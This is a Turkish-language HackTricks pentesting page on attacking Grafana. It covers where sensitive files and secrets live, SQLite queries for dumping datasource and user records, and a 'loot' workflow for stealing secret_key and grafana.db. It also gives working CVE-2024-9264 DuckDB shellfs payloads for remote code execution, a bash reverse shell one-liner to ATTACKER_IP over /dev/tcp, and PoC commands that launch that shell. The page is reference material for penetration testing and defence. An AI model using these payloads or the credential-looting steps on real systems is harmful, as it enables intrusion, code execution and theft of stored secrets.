Grafana

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

İlginç bilgiler

  • Ana yapılandırma genellikle /etc/grafana/grafana.ini (Deb/RPM) altında bulunur ve admin_user, admin_password, secret_key, OAuth ayarları, SMTP creds ve renderer tokens gibi hassas değerler içerebilir.
  • Varsayılan olarak Grafana verileri SQLite3 altında /var/lib/grafana/grafana.db dosyasında saklar.
  • Provisioning dosyaları host erişiminden sonra çok ilginçtir:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • Provisioning dosyalarında environment-variable expansion desteklenir, bu yüzden leaked YAML genellikle hem secrets’i hem de bunların arkasındaki env var isimlerini ortaya çıkarır.
  • Yüklü plugin’ler genellikle /var/lib/grafana/plugins altında bulunur.
  • Platform içinde role bağlı olarak kişileri davet edebilir, generate API keys / service account tokens, plugin’leri listeleyebilir veya yeni plugin’ler kurabilirsiniz.
  • Tarayıcı da değerli bir kaynaktır: Grafana gizli olmayan datasource yapılandırmasını frontend’e açığa çıkarır. Eğer bir Viewer oturumunuz varsa (veya anonymous access etkinse), DevTools’tan window.grafanaBootData’yı inceleyin.

Kullanışlı SQLite kontrolleri:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Veri kaynakları ve sırları yağmalama

Grafana tarayıcıda okunabilen yapılandırmayı şifrelenmiş sırlarla ayırır:

  • jsonData tarayıcıda kullanıcılara görünür ve genellikle iç hostlar, tenant’lar, auth modları, header isimleri, AWS bölgeleri, Elasticsearch index’leri, Loki tenant’ları, Prometheus URL’leri ve benzeri keşif verilerini listelemek için yeterlidir.
  • secureJsonData sunucu tarafında şifrelenir ve datasource kaydedildikten sonra tarayıcıdan okunamaz hale gelir.

Post-exploitation workflow:

  1. Dump grafana.ini yapın ve secret_key’i kurtarın.
  2. Loot grafana.db ve provisioning dosyalarını alın.
  3. Enumerate datasource’ları ve plugin yapılandırmalarını, yeniden kullanılabilir kimlik bilgileri ve iç uç noktalarını bulmak için.
  4. Veritabanını başka bir Grafana örneğine taşıyor veya replay ediyorsanız aynı secret_key’i koruyun; aksi takdirde depolanan datasource parolaları/token’ları doğru şekilde decrypt edilemez.

Neden secret_key yeni sürümlerde önemlidir:

  • Grafana v9’dan itibaren veritabanı sırları envelope encryption kullanır.
  • Grafana sırları data encryption keys (DEKs) ile şifreler ve bu DEK’ler secret_key’den türetilen bir key encryption key (KEK) ile şifrelenir.
  • Saldırgan perspektifinden bakıldığında, grafana.db + secret_key çalınması gereken ikilidir.

Plugin saldırı yüzeyi

Plugin’leri dipnot değil, hedefin bir parçası olarak ele alın:

  • Bunları filesystem’ten, UI’dan veya API’den enumerate edin:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • Eski veya üçüncü taraf eklentiler, genellikle HTTP isteklerini proxy’leyerek veya yerel dosya/veritabanlarıyla etkileşerek Grafana’nın dahili ağlara erişimini genişletir.
  • Son örnekler arasında Infinity eklentisindeki SSRF (< 3.4.1) ve Image Renderer eklentisinin başka bir hatayı full-read SSRF’ye çeviren kötüye kullanım yolları bulunur.

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI

Grafana’nın deneysel SQL Expressions özelliği, kullanıcı kontrollü metin gömülü DuckDB sorgularını çalıştırabilir. Yetersiz sanitasyon, saldırganların DuckDB ifadelerini zincirlemelerine ve topluluk uzantısı shellfs’i yüklemelerine olanak verir; shellfs, pipe destekli sanal dosyalar aracılığıyla shell komutlarını açığa çıkarır.

Impact

  • VIEWER veya daha yüksek yetkiye sahip herhangi bir kimliği doğrulanmış kullanıcı, Grafana OS kullanıcısı (genellikle grafana; bazen container içinde root) olarak kod çalıştırabilir veya yerel dosya okuma işlemleri yapabilir.
  • Gerçek dağıtımlarda sıkça karşılaşılan önkoşullar:
  • SQL Expressions etkin: expressions.enabled = true
  • Sunucuda PATH içinde duckdb ikili dosyası mevcut

Quick checks

  • UI/API içinde, Admin ayarlarını (Swagger: /swagger-ui, endpoint /api/admin/settings) kontrol ederek doğrulayın:
  • expressions.enabled true olmalı
  • İsteğe bağlı: sürüm, datasource türleri ve genel hardening ayarları
  • Host üzerinde shell: which duckdb komutu aşağıdaki exploit yolunun çalışması için bir sonuç vermeli.

Manual query pattern using DuckDB + shellfs

  • Kötüye kullanım akışı (2 sorgu):
  1. shellfs uzantısını yükleyin ve etkinleştirin, bir komut çalıştırın, birleştirilmiş çıktıyı pipe aracılığıyla bir geçici dosyaya yönlendirin
  2. Geçici dosyayı read_blob ile geri okuyun

Example SQL Expressions payloads that get passed to DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

CMD’yi istediğiniz komutla değiştirin. Dosya okuma (LFI) için yerine DuckDB dosya fonksiyonlarını kullanarak yerel dosyaları okuyabilirsiniz.

Tek satırlık reverse shell örneği

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

listener varken ilk sorguda bunu CMD olarak göm: nc -lnvp 443.

Otomatik PoC

Kullanım örneği

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

Çıktı uid=0(root) gösteriyorsa, Grafana root olarak çalışıyor (bazı konteynerlerde yaygın).

2025 client-side traversal / open redirect chain

2025 Grafana client-side traversal ve open-redirect zinciri zaten daha genel client-side sayfalarında belgelenmiş durumda. Bu teknikleri Grafana’ya özgü paths (ör. plugin assets, dashboard script loaders ve token-rotation redirects) üzerinde kullanın:

Client Side Path Traversal

Open Redirect

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin